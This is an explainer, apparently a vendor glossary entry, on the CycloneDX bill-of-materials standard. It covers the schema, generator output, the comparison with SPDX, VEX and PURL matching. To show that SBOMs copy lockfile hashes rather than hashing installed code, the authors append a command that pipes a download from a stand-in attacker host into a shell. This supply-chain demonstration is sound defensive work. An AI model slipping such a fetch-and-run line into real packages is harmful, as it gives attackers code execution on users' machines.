Back to glossary

CycloneDX

CycloneDX is the OWASP and Ecma (ECMA-424) bill of materials standard for listing software components, dependencies, and vulnerability data in JSON or XML.

Also known as CDX, OWASP CycloneDX, ECMA-424, CycloneDX SBOM, CycloneDX BOM

CycloneDX (CDX) is an OWASP standard for bills of materials, ratified by Ecma International as ECMA-424, that describes software as machine-readable JSON, XML, or Protobuf. A CycloneDX SBOM lists components by Package URL, records a separate dependency graph, and can carry hashes, licenses, and vulnerability exploitability (VEX) data that scanners, buyers, and regulators exchange.

The most important fact about a CycloneDX software bill of materials is that it records what its generator was told, not what is on disk. We appended a shell command to an installed dependency and regenerated the SBOM with npm 12.2.1 and cdxgen 12.9.0. Both emitted the same SHA-512 as before, because both copy it from the lockfile. Our position: CycloneDX is the better default format for security tooling, but every SBOM is a claim. Verify the packages themselves before they install, and judge an SBOM by how and when it was generated, not by which format it uses.

What is CycloneDX?

#

CycloneDX is a specification for describing what software, hardware, services, and models are made of. OWASP released v1.0 in March 2018. In December 2023, Ecma International and the OWASP Foundation formed Technical Committee 54 (TC54) to standardize it, and Ecma published CycloneDX 1.6 as ECMA-424, 1st edition, in June 2024. Version 1.7 shipped on October 21, 2025 and became ECMA-424, 2nd edition, in December 2025.

The name SBOM undersells the scope. The 1.7 schema's component type field accepts 13 values, including machine-learning-model, data, firmware, device, and cryptographic-asset. The same document format therefore serves as an SBOM, a hardware BOM, an AI bill of materials, or a cryptography BOM (CBOM). Services, meaning APIs and their data flows, get their own top-level array, which is how CycloneDX expresses a SaaSBOM. Version 1.7 added structured citations, which record where each piece of BOM data came from, and first-class patent data.

The specification defines three encodings with registered media types: application/vnd.cyclonedx+json, application/vnd.cyclonedx+xml, and application/x.vnd.cyclonedx+protobuf. Every generator we tested emits JSON. Components are identified primarily by Package URL (PURL), which Ecma published as its own standard, ECMA-427, in December 2025.

Anatomy of a CycloneDX SBOM

#

To see the structure, we created a project with one dependency, debug@4.4.1, which pulls in ms@2.1.3, and ran npm's built-in generator. This is the real output, with the debug entry and the author and description fields removed for length:

Bash
npx npm@12.2.1 sbom --sbom-format cyclonedx
JSON
{
  "$schema": "http://cyclonedx.org/schema/bom-1.5.schema.json",
  "bomFormat": "CycloneDX",
  "specVersion": "1.5",
  "serialNumber": "urn:uuid:1104cd63-f1eb-4c23-ac59-a3b1879ae380",
  "version": 1,
  "metadata": {
    "timestamp": "2026-10-24T06:45:06.738Z",
    "lifecycles": [{ "phase": "build" }],
    "tools": [{ "vendor": "npm", "name": "cli", "version": "12.2.1" }],
    "component": {
      "bom-ref": "cdx-demo@1.0.0",
      "type": "library",
      "name": "cdx-demo",
      "version": "1.0.0",
      "purl": "pkg:npm/cdx-demo@1.0.0"
    }
  },
  "components": [
    {
      "bom-ref": "ms@2.1.3",
      "type": "library",
      "name": "ms",
      "version": "2.1.3",
      "scope": "required",
      "purl": "pkg:npm/ms@2.1.3",
      "externalReferences": [
        { "type": "distribution", "url": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz" }
      ],
      "hashes": [
        {
          "alg": "SHA-512",
          "content": "e85973b9b4cb646dc9d9afcd542025784863ceae68c601f268253dc985ef70bb2fa1568726afece715c8ebf5d73fab73ed1f7100eb479d23bfb57b45dd645394"
        }
      ],
      "licenses": [{ "license": { "id": "MIT" } }]
    }
  ],
  "dependencies": [
    { "ref": "cdx-demo@1.0.0", "dependsOn": ["debug@4.4.1"] },
    { "ref": "debug@4.4.1", "dependsOn": ["ms@2.1.3"] },
    { "ref": "ms@2.1.3", "dependsOn": [] }
  ]
}

Four parts of this document do the work. The serialNumber and version pair identifies the BOM itself: the serial number is a UUID that stays fixed across revisions, and the schema says the integer version "SHOULD be incremented by 1" whenever the BOM changes. The metadata block names the subject (component), when the data was collected (lifecycles), and what collected it (tools). The components array is a flat inventory. The dependencies array is the graph.

Each component carries two identifiers. A bom-ref is unique only inside this one document and exists so other parts of the BOM can point at the entry. A purl is globally meaningful: pkg:npm/ms@2.1.3 names the ecosystem, package, and version the way the registry knows them. npm uses name@version as its bom-ref, while pnpm and cdxgen reuse the PURL.

The figure shows the three parts of the npm-generated BOM side by side. The components array lists cdx-demo@1.0.0 as the metadata component, the subject of the BOM, followed by debug@4.4.1 (pkg:npm/debug@4.4.1) and ms@2.1.3 (pkg:npm/ms@2.1.3), each exactly once. The dependencies array holds the edges: cdx-demo@1.0.0 depends on debug@4.4.1, debug@4.4.1 depends on ms@2.1.3, and ms@2.1.3 depends on an empty list, which declares that it has no dependencies. A component with no entry in dependencies at all has unknown dependencies, not zero. A consumer rebuilds the chain from cdx-demo to debug to ms using the edges alone.

The graph is separate from the inventory for a structural reason. Real dependency graphs are directed acyclic graphs with shared nodes, not trees. Nesting each dependency inside its parent would duplicate a package every time two parents share it. CycloneDX lists every component once and expresses edges as an adjacency list keyed by bom-ref, so a package used by fifty others appears once with fifty incoming edges.

The empty dependsOn on ms is an assertion, not a blank. The CycloneDX 1.7 JSON schema requires components without dependencies to be "declared as empty elements," and warns: "Components or services that are not represented in the dependency graph may have unknown dependencies." Completeness for the whole BOM belongs in a top-level compositions block, whose aggregate field takes values such as complete, incomplete_first_party_only, and unknown. None of the three generators we tested emitted compositions, so a consumer cannot tell a complete inventory from a partial one.

How do you generate a CycloneDX SBOM?

#

You generate a CycloneDX SBOM with a package manager's built-in command or a dedicated generator that reads manifests, lockfiles, or binaries. As of October 2026, the main JavaScript generators produce noticeably different documents from the same project:

GeneratorCommandspecVersionLifecycle phaseWhere the SHA-512 goes
npm 12.2.1npm sbom --sbom-format cyclonedx1.5build, or pre-build with --package-lock-onlycomponent.hashes
pnpm 11.28.6pnpm sbom --sbom-format cyclonedx1.7buildthe distribution external reference
cdxgen 12.9.0cdxgen -t js .1.4 to 1.7, default 1.7set by --lifecyclecomponent.hashes, plus evidence
Socket CLIsocket cdxgen .1.4 to 1.7, default 1.6pre-build by defaultsame as cdxgen

npm's 1.5 output comes from a constant in its generator source. pnpm added its sbom command in pnpm 11, with CycloneDX 1.7 and SPDX 2.3 output. pnpm's hash placement is the more precise one: the SHA-512 is a hash of the registry tarball, so pnpm attaches it to the tarball's distribution reference instead of presenting it as a hash of the installed component.

The lifecycle phase matters more than it looks. CISA's 2025 draft SBOM minimum elements add generation context as a new minimum element, distinguishing pre-build, build, and post-build SBOMs. CycloneDX has carried that distinction since 1.5 in metadata.lifecycles. A pre-build SBOM describes what the manifests and lockfile resolve to. A post-build SBOM describes an artifact. They answer different questions, and a consumer who does not check the phase will compare one against the other.

Generation can also execute untrusted code. cdxgen's --install-deps option defaults to true for some project types, which lets the generator run a package manager install and, with it, every dependency's install scripts. Socket's socket cdxgen wrapper defaults the lifecycle to pre-build, which turns --install-deps off so the scan does not execute arbitrary code (docs). The same reasoning applies to the common CI pattern of generating an SBOM after npm install: by the time the SBOM exists, the install scripts it lists have already run.

Python packaging now has a place for SBOMs inside the package itself. PEP 770, accepted in April 2025, reserves .dist-info/sboms/ inside distributions for CycloneDX or SPDX documents. That lets a wheel declare the native libraries bundled into it, which Python's own metadata cannot describe.

Does a CycloneDX SBOM prove what you shipped?

#

A CycloneDX SBOM does not prove what you shipped. It records what the generator read, and most generators read metadata. We tested this directly by tampering with an installed dependency in the demo project:

Bash
echo 'require("child_process").exec("curl https://evil.example/x | sh");' >> node_modules/ms/index.js
npx npm@12.2.1 sbom --sbom-format cyclonedx > after.json

The ms entry in after.json is identical to the original: same version, same license, same SHA-512 ending in 5394. cdxgen 12.9.0 produced the same hash too. We downloaded https://registry.npmjs.org/ms/-/ms-2.1.3.tgz and hashed it: the SBOM's value is the SHA-512 of that tarball. It is the integrity field from the lockfile, converted from base64 to hex. npm's generator never reads the files it describes:

JavaScript
if (node.integrity) {
  const integrity = ssri.parse(node.integrity, { single: true })
  component.hashes = [{
    alg: ALGO_MAP[integrity.algorithm] || 'SHA-512',
    content: integrity.hexDigest(),
  }]
}

cdxgen is more candid about this. Its output includes CycloneDX's evidence.identity block, which states the technique used to identify each component (path shortened):

JSON
"evidence": {
  "identity": [{
    "field": "purl",
    "confidence": 1,
    "methods": [{ "technique": "manifest-analysis", "confidence": 1, "value": "demo/package-lock.json" }]
  }]
}

The schema defines nine other techniques, including hash-comparison, binary-analysis, and source-code-analysis. A confidence of 1 under manifest-analysis means cdxgen is certain the lockfile says ms@2.1.3. It says nothing about whether the code on disk matches.

The figure traces each field of the ms@2.1.3 entry back to what npm sbom read to produce it:

Source npm sbom readsCycloneDX fields it suppliesChanged after we tampered with index.js?
Lockfile metadata: integrity and resolvedhashes (SHA-512 of the registry tarball), externalReferences of type distributionNo
node_modules/ms/package.json, the installed manifestname, version, purl (built from name and version), licenses, description, authorNo
node_modules/ms/index.js, the code that actually runsNoneNot applicable: no field reads it, so the entry was identical before and after

The gap cuts both ways in real attacks. In the axios compromise, the malicious axios@1.14.1 added a dependency, plain-crypto-js@4.2.1, whose postinstall dropper ran, deleted itself, and renamed a clean package.md over its own package.json. After that, the installed directory looked like an ordinary crypto library declaring version 4.2.0. We reproduced the swap with a harmless local package. As of npm 12, dependency install scripts do not run by default, so we had to approve the script with npm install-scripts approve before it would execute. Once it ran, the disk showed the clean 4.2.0 manifest. Here, copying from the lockfile helped: npm sbom --package-lock-only and cdxgen still reported 4.2.1, the version that carried the dropper. A plain npm sbom, which reads node_modules, refused to run with ESBOMPROBLEMS because the disk and the lockfile disagreed. No generator recorded what the script did.

A malicious release also looks perfectly valid in an SBOM. An SBOM of an affected build lists axios@1.14.1 and plain-crypto-js@4.2.1 with correct PURLs and correct registry hashes. Nothing in the format marks either as malicious, and malware does not get a CVE for a vulnerability matcher to find.

Scope is the second gap. A project SBOM is generated from a project's lockfile, so code fetched by npx in CI or installed globally never appears in it. In our analysis of the axios compromise's blast radius, we observed a CI pipeline that ran a CLI through npx and pulled in the malicious dependency through a transitive axios range. Nothing fetched that way is in the project's lockfile. A clean SBOM checked after the fact does not prove you were not exposed.

None of this makes SBOMs useless. Retained per build, an SBOM is a timestamped record of what was resolved. That is exactly the evidence that disappears once a registry removes a malicious version and reinstalls come back clean. Treat it as an inventory of claims with a known scope, and get assurance about contents from analyzing the packages themselves.

What is the difference between SPDX and CycloneDX?

#

The difference between SPDX and CycloneDX is now mostly governance, data model, and tool support, since both cover licenses, dependencies, and security data. SPDX (Software Package Data Exchange) is a Linux Foundation project first published in 2011, and SPDX 2.2.1 is the international standard ISO/IEC 5962:2021. SPDX 3.0, released April 16, 2024, rebuilt the model as a graph of elements linked by explicit relationship objects, serialized as JSON-LD, with profiles for security, builds, AI, and datasets. As of October 2026, the latest final release is SPDX 3.0.1 from December 2024, and SPDX 3.1 has been a release candidate since January 2026.

npm can emit both formats from the same tree. Here is the same ms package as SPDX 2.3:

JSON
{
  "name": "ms",
  "SPDXID": "SPDXRef-Package-ms-2.1.3",
  "versionInfo": "2.1.3",
  "downloadLocation": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  "filesAnalyzed": false,
  "licenseDeclared": "MIT",
  "externalRefs": [
    { "referenceCategory": "PACKAGE-MANAGER", "referenceType": "purl", "referenceLocator": "pkg:npm/ms@2.1.3" }
  ],
  "checksums": [
    { "algorithm": "SHA512", "checksumValue": "e85973b9b4cb646dc9d9afcd542025784863ceae68c601f268253dc985ef70bb2fa1568726afece715c8ebf5d73fab73ed1f7100eb479d23bfb57b45dd645394" }
  ]
}

The data is the same, including the same tarball hash. The modeling differs. SPDX puts the dependency edge in a separate relationships array (SPDXRef-Package-ms-2.1.3 DEPENDENCY_OF SPDXRef-Package-debug-4.4.1), treats the PURL as one external reference among several, and requires the filesAnalyzed flag. That flag is a small honesty advantage: SPDX makes the generator say it did not look at the files, while in CycloneDX the equivalent statement is optional evidence.

Many comparison pages still say SPDX is for licenses and CycloneDX is for security. That framing is out of date. CycloneDX's licenses field accepts SPDX license identifiers and full SPDX license expressions such as Apache-2.0 AND (MIT OR GPL-2.0-only). SPDX 3.0's Security profile defines VEX relationships for affected, not affected, fixed, and under investigation, plus CVSS and EPSS assessments.

CycloneDXSPDX
StewardOWASP and Ecma TC54Linux Foundation
Formal standardECMA-424 (1.6 and 1.7)ISO/IEC 5962:2021 (2.2.1)
Latest final release, Oct 20261.7, October 20253.0.1, December 2024
Data modelDocument with a flat component list plus an adjacency list2.x: packages, files, and relationships. 3.x: an RDF graph of elements
EncodingsJSON, XML, Protobuf2.x: JSON, YAML, RDF/XML, tag-value. 3.x: JSON-LD and other RDF serializations
VEXNative, in vulnerabilities[].analysisSecurity profile in 3.0; not in 2.3
Beyond softwareML models, datasets, crypto assets, services, hardwareAI and dataset profiles in 3.0
JS package manager output, Oct 2026npm 12: 1.5. pnpm 11: 1.7npm 12 and pnpm 11: 2.3

Our verdict: default to CycloneDX for security pipelines. JavaScript generators emit current versions of it, VEX lives in the same document, and PURL identity maps directly to registry packages. Use SPDX when a customer, regulator, or Linux distribution requires it, or when file-level license provenance is the point. If you sell to both audiences, produce both from the same generator run. Conversion between them is lossy wherever one side models a field the other lacks, such as CycloneDX VEX states in SPDX 2.3.

VEX inside the BOM

#

CycloneDX carries vulnerability data in a top-level vulnerabilities array, and the analysis object in each entry turns a list of CVE matches into a VEX statement. The state field takes one of six values: resolved, resolved_with_pedigree, exploitable, in_triage, false_positive, or not_affected. A not_affected verdict carries one of nine justifications, from code_not_present to protected_by_mitigating_control. This minimal document validates against the 1.7 schema:

JSON
{
  "bomFormat": "CycloneDX",
  "specVersion": "1.7",
  "serialNumber": "urn:uuid:3e671687-395b-41f5-a30f-a58921a69b79",
  "version": 1,
  "components": [
    { "bom-ref": "pkg:npm/lodash@4.17.20", "type": "library", "name": "lodash", "version": "4.17.20", "purl": "pkg:npm/lodash@4.17.20" }
  ],
  "vulnerabilities": [
    {
      "id": "CVE-2021-23337",
      "source": { "name": "OSV", "url": "https://osv.dev/vulnerability/GHSA-35jh-r3h4-6jhm" },
      "analysis": {
        "state": "not_affected",
        "justification": "code_not_reachable",
        "detail": "No call path from application code reaches lodash's template function."
      },
      "affects": [{ "ref": "pkg:npm/lodash@4.17.20" }]
    }
  ]
}

CVE-2021-23337 is a command injection in lodash's template function, fixed in 4.17.21. An application that ships lodash 4.17.20 but never calls template is not affected. code_not_reachable is precisely the verdict that reachability analysis produces. We think most CVE alerts are noise, and that reachability, not severity score, should drive triage. VEX makes that triage portable, so downstream consumers do not have to repeat it. Socket's CycloneDX export endpoint, GET /v0/orgs/{org_slug}/export/cdx/{id}, accepts include_vulnerabilities=true to embed vulnerability data, plus reachability and VEX data where available (docs).

VEX has two limits. A VEX statement is the producer's assertion. It is unauthenticated unless the BOM is signed, which CycloneDX supports through its signature property using JSON Signature Format. And VEX speaks only about known vulnerabilities. There is no VEX state for a package that is malicious by design.

Component identity: PURL first, CPE second

#

SBOM consumers match components to vulnerability data by identifier, and the identifier decides which databases can answer. CycloneDX components can carry purl, cpe, swid, omniborId, and swhid. PURL is the native choice for open source because it names a package exactly as its registry does: ecosystem, name, and version. OSV and the GitHub Advisory Database identify affected packages the same way.

CPE matching depends on enrichment by the National Vulnerability Database, and that enrichment is shrinking. In April 2026, NIST stopped enriching most CVEs after submissions rose 263% between 2020 and 2025. Without enrichment, a CVE has no CPE data linking it to products. A CycloneDX pipeline keyed on PURL keeps working. One keyed on CPE inherits the NVD's backlog.

PURLs also make an SBOM a work order for deeper analysis. Socket's POST /v0/orgs/{org_slug}/purl endpoint accepts a CycloneDX components array, up to 1,024 PURLs per request, and returns Socket's alerts and scores for each package (docs). The BOM says which packages you have. Analysis of those packages' actual contents says what they do.

The open problem is binding claims to bytes. CycloneDX 1.7 can already express most of the binding: citations for where each field came from, hash-comparison as an identity technique, and signatures over the whole document. CycloneDX 2.0, announced on August 5, 2026 for a fall release, goes further: each claim records its basis, method, confidence, and evidence, and VEX statements must be supported by analysis such as reachability. As of October 2026, 1.7 is still the current release. None of the three generators we tested populated citations, and none hashed the files it described. Until generators do, a CycloneDX SBOM is an accurate copy of your lockfile in a better schema, and someone still has to read the code.